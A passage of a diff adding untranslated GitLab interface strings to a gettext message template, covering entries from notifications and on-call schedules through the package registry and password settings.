+msgid "Not all browsers support WebAuthn. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even from an unsupported browser."
+msgstr ""
+
+msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
+msgstr ""
+
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
+msgid "Not available"
+msgstr ""
+
+msgid "Not available for private projects"
+msgstr ""
+
+msgid "Not available for protected branches"
+msgstr ""
+
+msgid "Not available to run jobs."
+msgstr ""
+
+msgid "Not confidential"
+msgstr ""
+
+msgid "Not enough data"
+msgstr ""
+
+msgid "Not found."
+msgstr ""
+
+msgid "Not permitted to destroy framework"
+msgstr ""
+
+msgid "Not ready yet. Try again later."
+msgstr ""
+
+msgid "Not started"
+msgstr ""
+
+msgid "Not supported"
+msgstr ""
+
+msgid "Note"
+msgstr ""
+
+msgid "Note parameters are invalid: %{errors}"
+msgstr ""
+
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
+msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
+msgstr ""
+
+msgid "Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow connecting repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: Consider asking your GitLab administrator to configure %{github_integration_link}, which will allow login via GitHub and allow connecting repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "Note: Consider asking your GitLab administrator to configure %{github_integration_link}, which will allow login via GitHub and allow importing repositories without generating a Personal Access Token."
+msgstr ""
+
+msgid "NoteForm|Note"
+msgstr ""
+
+msgid "Notes Rate Limits"
+msgstr ""
+
+msgid "Notes|Are you sure you want to cancel creating this comment?"
+msgstr ""
+
+msgid "Notes|Collapse replies"
+msgstr ""
+
+msgid "Notes|Confidential comments are only visible to project members"
+msgstr ""
+
+msgid "Notes|Make this comment confidential"
+msgstr ""
+
+msgid "Notes|Show all activity"
+msgstr ""
+
+msgid "Notes|Show comments only"
+msgstr ""
+
+msgid "Notes|Show history only"
+msgstr ""
+
+msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
+msgstr ""
+
+msgid "Notes|This comment is confidential and only visible to project members"
+msgstr ""
+
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
+msgid "Nothing found…"
+msgstr ""
+
+msgid "Nothing to preview."
+msgstr ""
+
+msgid "Nothing to synchronize"
+msgstr ""
+
+msgid "Notification events"
+msgstr ""
+
+msgid "Notification setting - %{notification_title}"
+msgstr ""
+
+msgid "Notification settings saved"
+msgstr ""
+
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEvent|Change reviewer merge request"
+msgstr ""
+
+msgid "NotificationEvent|Close issue"
+msgstr ""
+
+msgid "NotificationEvent|Close merge request"
+msgstr ""
+
+msgid "NotificationEvent|Failed pipeline"
+msgstr ""
+
+msgid "NotificationEvent|Fixed pipeline"
+msgstr ""
+
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
+msgid "NotificationEvent|Merge merge request"
+msgstr ""
+
+msgid "NotificationEvent|Merge when pipeline succeeds"
+msgstr ""
+
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
+msgid "NotificationEvent|New epic"
+msgstr ""
+
+msgid "NotificationEvent|New issue"
+msgstr ""
+
+msgid "NotificationEvent|New merge request"
+msgstr ""
+
+msgid "NotificationEvent|New note"
+msgstr ""
+
+msgid "NotificationEvent|New release"
+msgstr ""
+
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
+msgid "NotificationEvent|Reassign issue"
+msgstr ""
+
+msgid "NotificationEvent|Reassign merge request"
+msgstr ""
+
+msgid "NotificationEvent|Reopen issue"
+msgstr ""
+
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
+msgid "NotificationEvent|Successful pipeline"
+msgstr ""
+
+msgid "NotificationLevel|Custom"
+msgstr ""
+
+msgid "NotificationLevel|Disabled"
+msgstr ""
+
+msgid "NotificationLevel|Global"
+msgstr ""
+
+msgid "NotificationLevel|On mention"
+msgstr ""
+
+msgid "NotificationLevel|Participate"
+msgstr ""
+
+msgid "NotificationLevel|Watch"
+msgstr ""
+
+msgid "Notifications"
+msgstr ""
+
+msgid "Notifications have been disabled by the project or group owner"
+msgstr ""
+
+msgid "Notifications off"
+msgstr ""
+
+msgid "Notifications on"
+msgstr ""
+
+msgid "Notify users by email when sign-in location is not recognized"
+msgstr ""
+
+msgid "Nov"
+msgstr ""
+
+msgid "November"
+msgstr ""
+
+msgid "Novice"
+msgstr ""
+
+msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
+msgstr ""
+
+msgid "Number of %{itemTitle}"
+msgstr ""
+
+msgid "Number of Elasticsearch replicas"
+msgstr ""
+
+msgid "Number of Elasticsearch shards"
+msgstr ""
+
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
+msgid "Number of LOCs per commit"
+msgstr ""
+
+msgid "Number of changes (branches or tags) in a single push to determine whether individual push events or bulk push event will be created. Bulk push event will be created if it surpasses that value."
+msgstr ""
+
+msgid "Number of changes (branches or tags) in a single push to determine whether webhooks and services will be fired or not. Webhooks and services won't be submitted if it surpasses that value."
+msgstr ""
+
+msgid "Number of commits"
+msgstr ""
+
+msgid "Number of commits per MR"
+msgstr ""
+
+msgid "Number of employees"
+msgstr ""
+
+msgid "Number of events"
+msgstr ""
+
+msgid "Number of events for this project: %{total_count}."
+msgstr ""
+
+msgid "Number of files touched"
+msgstr ""
+
+msgid "OK"
+msgstr ""
+
+msgid "Object Storage replication"
+msgstr ""
+
+msgid "Object does not exist on the server or you don't have permissions to access it"
+msgstr ""
+
+msgid "Oct"
+msgstr ""
+
+msgid "October"
+msgstr ""
+
+msgid "OfSearchInADropdown|Filter"
+msgstr ""
+
+msgid "Off"
+msgstr ""
+
+msgid "Oh no!"
+msgstr ""
+
+msgid "Ok, let's go"
+msgstr ""
+
+msgid "Oldest first"
+msgstr ""
+
+msgid "OmniAuth"
+msgstr ""
+
+msgid "Omnibus Protected Paths throttle is active, and takes priority over these settings. From 12.4, Omnibus throttle is deprecated and will be removed in a future release. Please read the %{relative_url_link_start}Migrating Protected Paths documentation%{relative_url_link_end}."
+msgstr ""
+
+msgid "On"
+msgstr ""
+
+msgid "On track"
+msgstr ""
+
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|1 day"
+msgstr ""
+
+msgid "OnCallSchedules|2 weeks"
+msgstr ""
+
+msgid "OnCallSchedules|Add a rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Are you sure you want to delete the \"%{deleteRotation}\" rotation? This action cannot be undone."
+msgstr ""
+
+msgid "OnCallSchedules|Are you sure you want to delete the \"%{deleteSchedule}\" schedule? This action cannot be undone."
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Currently no rotation."
+msgstr ""
+
+msgid "OnCallSchedules|Delete rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Delete schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Edit rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Edit schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Enable end date"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to edit schedule"
+msgstr ""
+
+msgid "OnCallSchedules|For this rotation, on-call will be:"
+msgstr ""
+
+msgid "OnCallSchedules|On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
+msgstr ""
+
+msgid "OnCallSchedules|Restrict to time intervals"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation end date/time must come after start date/time"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation length"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation name cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation participants cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation start date cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotations"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select participant"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
+msgid "OnCallSchedules|Successfully created a new rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Successfully edited your rotation"
+msgstr ""
+
+msgid "OnCallSchedules|The rotation could not be deleted. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|The rotation could not be updated. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|The schedule could not be deleted. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|The schedule could not be updated. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|Try adding a rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Your schedule has been successfully created and all alerts from this project will now be routed to this schedule. Currently, only one schedule can be created per project. More coming soon! To add individual users to this schedule, use the add a rotation button."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "OnDemandScans|Could not run the scan. Please try again."
+msgstr ""
+
+msgid "OnDemandScans|Create new scanner profile"
+msgstr ""
+
+msgid "OnDemandScans|Create new site profile"
+msgstr ""
+
+msgid "OnDemandScans|Description (optional)"
+msgstr ""
+
+msgid "OnDemandScans|Edit on-demand DAST scan"
+msgstr ""
+
+msgid "OnDemandScans|For example: Tests the login page for SQL injections"
+msgstr ""
+
+msgid "OnDemandScans|Manage DAST scans"
+msgstr ""
+
+msgid "OnDemandScans|Manage scanner profiles"
+msgstr ""
+
+msgid "OnDemandScans|Manage site profiles"
+msgstr ""
+
+msgid "OnDemandScans|My daily scan"
+msgstr ""
+
+msgid "OnDemandScans|New on-demand DAST scan"
+msgstr ""
+
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed scanner profile."
+msgstr ""
+
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
+msgid "OnDemandScans|On-demand Scans"
+msgstr ""
+
+msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|Save and run scan"
+msgstr ""
+
+msgid "OnDemandScans|Save scan"
+msgstr ""
+
+msgid "OnDemandScans|Scan name"
+msgstr ""
+
+msgid "OnDemandScans|Scanner profile"
+msgstr ""
+
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profile"
+msgstr ""
+
+msgid "OnDemandScans|Use existing scanner profile"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
+msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues, merge requests etc."
+msgstr ""
+
+msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
+msgstr ""
+
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
+msgstr ""
+
+msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
+msgstr ""
+
+msgid "Once you confirm and press \"Reduce project visibility\":"
+msgstr ""
+
+msgid "One more item"
+msgid_plural "%d more items"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "One or more groups that you don't have access to."
+msgstr ""
+
+msgid "One or more of you personal access tokens were revoked"
+msgstr ""
+
+msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
+msgstr ""
+
+msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
+msgstr ""
+
+msgid "One or more of your personal access tokens has expired."
+msgstr ""
+
+msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
+msgstr ""
+
+msgid "Only 'Reporter' roles and above on tiers Premium and above can see Value Stream Analytics."
+msgstr ""
+
+msgid "Only 1 appearances row can exist"
+msgstr ""
+
+msgid "Only Issue ID or Merge Request ID is required"
+msgstr ""
+
+msgid "Only Project Members"
+msgstr ""
+
+msgid "Only active this projects shows up in the search and on the dashboard."
+msgstr ""
+
+msgid "Only admins can delete project"
+msgstr ""
+
+msgid "Only policy:"
+msgstr ""
+
+msgid "Only proceed if you trust %{idp_url} to control your GitLab account sign in."
+msgstr ""
+
+msgid "Only project members can comment."
+msgstr ""
+
+msgid "Only project members will be imported. Group members will be skipped."
+msgstr ""
+
+msgid "Only projects created under a Ultimate license are available in Security Dashboards."
+msgstr ""
+
+msgid "Only verified users with an email address in any of these domains can be added to the group."
+msgstr ""
+
+msgid "Only ‘Reporter’ roles and above on tiers Premium and above can see Productivity Analytics."
+msgstr ""
+
+msgid "Oops, are you sure?"
+msgstr ""
+
+msgid "Open"
+msgstr ""
+
+msgid "Open Selection"
+msgstr ""
+
+msgid "Open comment type dropdown"
+msgstr ""
+
+msgid "Open epics"
+msgstr ""
+
+msgid "Open errors"
+msgstr ""
+
+msgid "Open in file view"
+msgstr ""
+
+msgid "Open in your IDE"
+msgstr ""
+
+msgid "Open raw"
+msgstr ""
+
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
+msgid "Open sidebar"
+msgstr ""
+
+msgid "Open: %{open}"
+msgstr ""
+
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
+msgstr ""
+
+msgid "Opened MRs"
+msgstr ""
+
+msgid "Opened issues"
+msgstr ""
+
+msgid "OpenedNDaysAgo|Opened"
+msgstr ""
+
+msgid "Opens in a new window"
+msgstr ""
+
+msgid "Operation completed"
+msgstr ""
+
+msgid "Operation failed. Check pod logs for %{pod_name} for more details."
+msgstr ""
+
+msgid "Operation not allowed"
+msgstr ""
+
+msgid "Operation timed out. Check pod logs for %{pod_name} for more details."
+msgstr ""
+
+msgid "Operations"
+msgstr ""
+
+msgid "Operations Dashboard"
+msgstr ""
+
+msgid "Operations Settings"
+msgstr ""
+
+msgid "OperationsDashboard|Add a project to the dashboard"
+msgstr ""
+
+msgid "OperationsDashboard|Add projects"
+msgstr ""
+
+msgid "OperationsDashboard|More information"
+msgstr ""
+
+msgid "OperationsDashboard|Operations Dashboard"
+msgstr ""
+
+msgid "OperationsDashboard|The operations dashboard provides a summary of each project's operational health, including pipeline and alert statuses."
+msgstr ""
+
+msgid "Optimize your workflow with CI/CD Pipelines"
+msgstr ""
+
+msgid "Optional"
+msgstr ""
+
+msgid "Optional parameter \"variables\" must be a Hash. Ex: variables[key1]=value1"
+msgstr ""
+
+msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
+msgstr ""
+
+msgid "Options"
+msgstr ""
+
+msgid "Or you can choose one of the suggested colors below"
+msgstr ""
+
+msgid "Order jobs by"
+msgstr ""
+
+msgid "Orphaned member"
+msgstr ""
+
+msgid "Other Labels"
+msgstr ""
+
+msgid "Other available runners"
+msgstr ""
+
+msgid "Other information"
+msgstr ""
+
+msgid "Other merge requests block this MR"
+msgstr ""
+
+msgid "Other versions"
+msgstr ""
+
+msgid "Other visibility settings have been disabled by the administrator."
+msgstr ""
+
+msgid "Our documentation includes an example DevOps Score report."
+msgstr ""
+
+msgid "Out-of-compliance with this project's policies and should be removed"
+msgstr ""
+
+msgid "Outbound requests"
+msgstr ""
+
+msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
+msgstr ""
+
+msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
+msgstr ""
+
+msgid "Outdent"
+msgstr ""
+
+msgid "Overridden"
+msgstr ""
+
+msgid "Overview"
+msgstr ""
+
+msgid "Overwrite diverged branches"
+msgstr ""
+
+msgid "Owned by %{image_tag}"
+msgstr ""
+
+msgid "Owned by anyone"
+msgstr ""
+
+msgid "Owned by me"
+msgstr ""
+
+msgid "Owned by:"
+msgstr ""
+
+msgid "Owner"
+msgstr ""
+
+msgid "Package Registry"
+msgstr ""
+
+msgid "Package already exists"
+msgstr ""
+
+msgid "Package deleted successfully"
+msgstr ""
+
+msgid "Package file size limits"
+msgstr ""
+
+msgid "Package recipe already exists"
+msgstr ""
+
+msgid "Package type must be Conan"
+msgstr ""
+
+msgid "Package type must be Debian"
+msgstr ""
+
+msgid "Package type must be Maven"
+msgstr ""
+
+msgid "Package type must be NuGet"
+msgstr ""
+
+msgid "Package type must be PyPi"
+msgstr ""
+
+msgid "Package type must be RubyGems"
+msgstr ""
+
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgstr ""
+
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgstr ""
+
+msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|Add Conan Remote"
+msgstr ""
+
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
+msgid "PackageRegistry|Add NuGet Source"
+msgstr ""
+
+msgid "PackageRegistry|Add composer registry"
+msgstr ""
+
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
+msgid "PackageRegistry|An error occurred while saving the settings"
+msgstr ""
+
+msgid "PackageRegistry|App group: %{group}"
+msgstr ""
+
+msgid "PackageRegistry|App name: %{name}"
+msgstr ""
+
+msgid "PackageRegistry|Built by pipeline %{link} triggered %{datetime} by %{author}"
+msgstr ""
+
+msgid "PackageRegistry|Composer"
+msgstr ""
+
+msgid "PackageRegistry|Conan"
+msgstr ""
+
+msgid "PackageRegistry|Conan Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy .pypirc content"
+msgstr ""
+
+msgid "PackageRegistry|Copy Conan Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Conan Setup Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven XML"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Maven registry XML"
+msgstr ""
+
+msgid "PackageRegistry|Copy NuGet Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy NuGet Setup Command"
+msgstr ""
+
+msgid "PackageRegistry|Copy Pip command"
+msgstr ""
+
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
+msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
+msgstr ""
+
+msgid "PackageRegistry|Copy npm command"
+msgstr ""
+
+msgid "PackageRegistry|Copy npm setup command"
+msgstr ""
+
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
+msgid "PackageRegistry|Copy yarn command"
+msgstr ""
+
+msgid "PackageRegistry|Copy yarn setup command"
+msgstr ""
+
+msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package Version"
+msgstr ""
+
+msgid "PackageRegistry|Delete package"
+msgstr ""
+
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the Maven registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the NuGet registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
+msgstr ""
+
+msgid "PackageRegistry|Generic"
+msgstr ""
+
+msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
+msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
+msgstr ""
+
+msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
+msgstr ""
+
+msgid "PackageRegistry|Install package version"
+msgstr ""
+
+msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
+msgstr ""
+
+msgid "PackageRegistry|License information located at %{link}"
+msgstr ""
+
+msgid "PackageRegistry|Manually Published"
+msgstr ""
+
+msgid "PackageRegistry|Maven"
+msgstr ""
+
+msgid "PackageRegistry|Maven Command"
+msgstr ""
+
+msgid "PackageRegistry|NuGet"
+msgstr ""
+
+msgid "PackageRegistry|NuGet Command"
+msgstr ""
+
+msgid "PackageRegistry|Package Registry"
+msgstr ""
+
+msgid "PackageRegistry|Package has %{number} archived update"
+msgstr ""
+
+msgid "PackageRegistry|Package has %{number} archived updates"
+msgstr ""
+
+msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
+msgstr ""
+
+msgid "PackageRegistry|Pip Command"
+msgstr ""
+
+msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|PyPI"
+msgstr ""
+
+msgid "PackageRegistry|Recipe: %{recipe}"
+msgstr ""
+
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
+msgid "PackageRegistry|Remove package"
+msgstr ""
+
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
+msgid "PackageRegistry|Settings for Maven packages"
+msgstr ""
+
+msgid "PackageRegistry|Settings saved successfully"
+msgstr ""
+
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
+msgid "PackageRegistry|Sorry, your filter produced no results"
+msgstr ""
+
+msgid "PackageRegistry|Source project located at %{link}"
+msgstr ""
+
+msgid "PackageRegistry|There are no other versions of this package."
+msgstr ""
+
+msgid "PackageRegistry|There are no packages yet"
+msgstr ""
+
+msgid "PackageRegistry|There was a problem fetching the details for this package."
+msgstr ""
+
+msgid "PackageRegistry|This NuGet package has no dependencies."
+msgstr ""
+
+msgid "PackageRegistry|To widen your search, change or remove the filters above."
+msgstr ""
+
+msgid "PackageRegistry|Type"
+msgstr ""
+
+msgid "PackageRegistry|Unable to fetch package version information."
+msgstr ""
+
+msgid "PackageRegistry|Unable to load package"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete version %{version} of %{name}. Are you sure?"
+msgstr ""
+
+msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
+msgstr ""
+
+msgid "PackageRegistry|npm"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
+
+msgid "PackageRegistry|published by %{author}"
+msgstr ""
+
+msgid "PackageRegistry|yarn command"
+msgstr ""
+
+msgid "Packages"
+msgstr ""
+
+msgid "Packages & Registries"
+msgstr ""
+
+msgid "Page not found"
+msgstr ""
+
+msgid "Page settings"
+msgstr ""
+
+msgid "PagerDutySettings|Active"
+msgstr ""
+
+msgid "PagerDutySettings|Create a GitLab incident for each PagerDuty incident by %{linkStart}configuring a webhook in PagerDuty%{linkEnd}"
+msgstr ""
+
+msgid "PagerDutySettings|Failed to update Webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Reset webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Resetting the webhook URL for this project will require updating this integration's settings in PagerDuty."
+msgstr ""
+
+msgid "PagerDutySettings|Webhook URL"
+msgstr ""
+
+msgid "PagerDutySettings|Webhook URL update was successful"
+msgstr ""
+
+msgid "Pages"
+msgstr ""
+
+msgid "Pages Domain"
+msgstr ""
+
+msgid "Pages getting started guide"
+msgstr ""
+
+msgid "Pagination|Go to first page"
+msgstr ""
+
+msgid "Pagination|Go to last page"
+msgstr ""
+
+msgid "Pagination|Go to next page"
+msgstr ""
+
+msgid "Pagination|Go to previous page"
+msgstr ""
+
+msgid "Pagination|Last »"
+msgstr ""
+
+msgid "Pagination|Next"
+msgstr ""
+
+msgid "Pagination|Prev"
+msgstr ""
+
+msgid "Pagination|« First"
+msgstr ""
+
+msgid "Parameter"
+msgstr ""
+
+msgid "Parameter \"job_id\" cannot exceed length of %{job_id_max_size}"
+msgstr ""
+
+msgid "Parameter `from` must be specified"
+msgstr ""
+
+msgid "Parameter `interval` must be one of (\"%{valid_intervals}\")"
+msgstr ""
+
+msgid "Parameter `to` is before the `from` date"
+msgstr ""
+
+msgid "Parent"
+msgstr ""
+
+msgid "Parent epic doesn't exist."
+msgstr ""
+
+msgid "Parent epic is not present."
+msgstr ""
+
+msgid "Parsing error for param :embed_json. %{message}"
+msgstr ""
+
+msgid "Part of merge request changes"
+msgstr ""
+
+msgid "Partial token for reference only"
+msgstr ""
+
+msgid "Participants"
+msgstr ""
+
+msgid "Pass job variables"
+msgstr ""
+
+msgid "Passed"
+msgstr ""
+
+msgid "Passed on"
+msgstr ""
+
+msgid "Password"
+msgstr ""
+
+msgid "Password (optional)"
+msgstr ""
+
+msgid "Password Policy Guidelines"
+msgstr ""
+
+msgid "Password authentication is unavailable."
+msgstr ""
+
+msgid "Password confirmation"
+msgstr ""
+
+msgid "Password successfully changed"
+msgstr ""
+
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
+
+msgid "Passwords should be unique and not used for any other sites or services."
+msgstr ""
+
+msgid "Past due"
+msgstr ""
+
+msgid "Paste a public key here."
+msgstr ""
+
+msgid "Paste a public key here. %{link_start}How do I generate it?%{link_end}"
+msgstr ""
+
+msgid "Paste confidential epic link"
+msgstr ""
+
+msgid "Paste confidential issue link"
+msgstr ""
+
+msgid "Paste epic link"
+msgstr ""
+
+msgid "Paste issue link"
+msgstr ""
+
+msgid "Paste your public SSH key, which is usually contained in the file '~/.ssh/id_ed25519.pub' or '~/.ssh/id_rsa.pub' and begins with 'ssh-ed25519' or 'ssh-rsa'. Do not paste your private SSH key, as that can compromise your identity."
+msgstr ""
+
+msgid "Patch to apply"
+msgstr ""
+
+msgid "Path"
+msgstr ""
+
+msgid "Path:"
+msgstr ""
+
+msgid "Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "Pause"
+msgstr ""
+
+msgid "Pause Elasticsearch indexing"
+msgstr ""
+
+msgid "Pause replication"
+msgstr ""
+
+msgid "Paused runners don't accept new jobs"
+msgstr ""
+
+msgid "Pending"
+msgstr ""
+
+msgid "Pending comments"
+msgstr ""
+
+msgid "People without permission will never get a notification and won't be able to comment."
+msgstr ""
+
+msgid "People without permission will never get a notification."
+msgstr ""
+
+msgid "Percent rollout must be an integer number between 0 and 100"
+msgstr ""
+
+msgid "Percentage"
+msgstr ""
+
+msgid "Perform advanced options such as changing path, transferring, exporting, or removing the group."
+msgstr ""
+
+msgid "Perform common operations on GitLab project"
+msgstr ""
+
+msgid "Performance optimization"
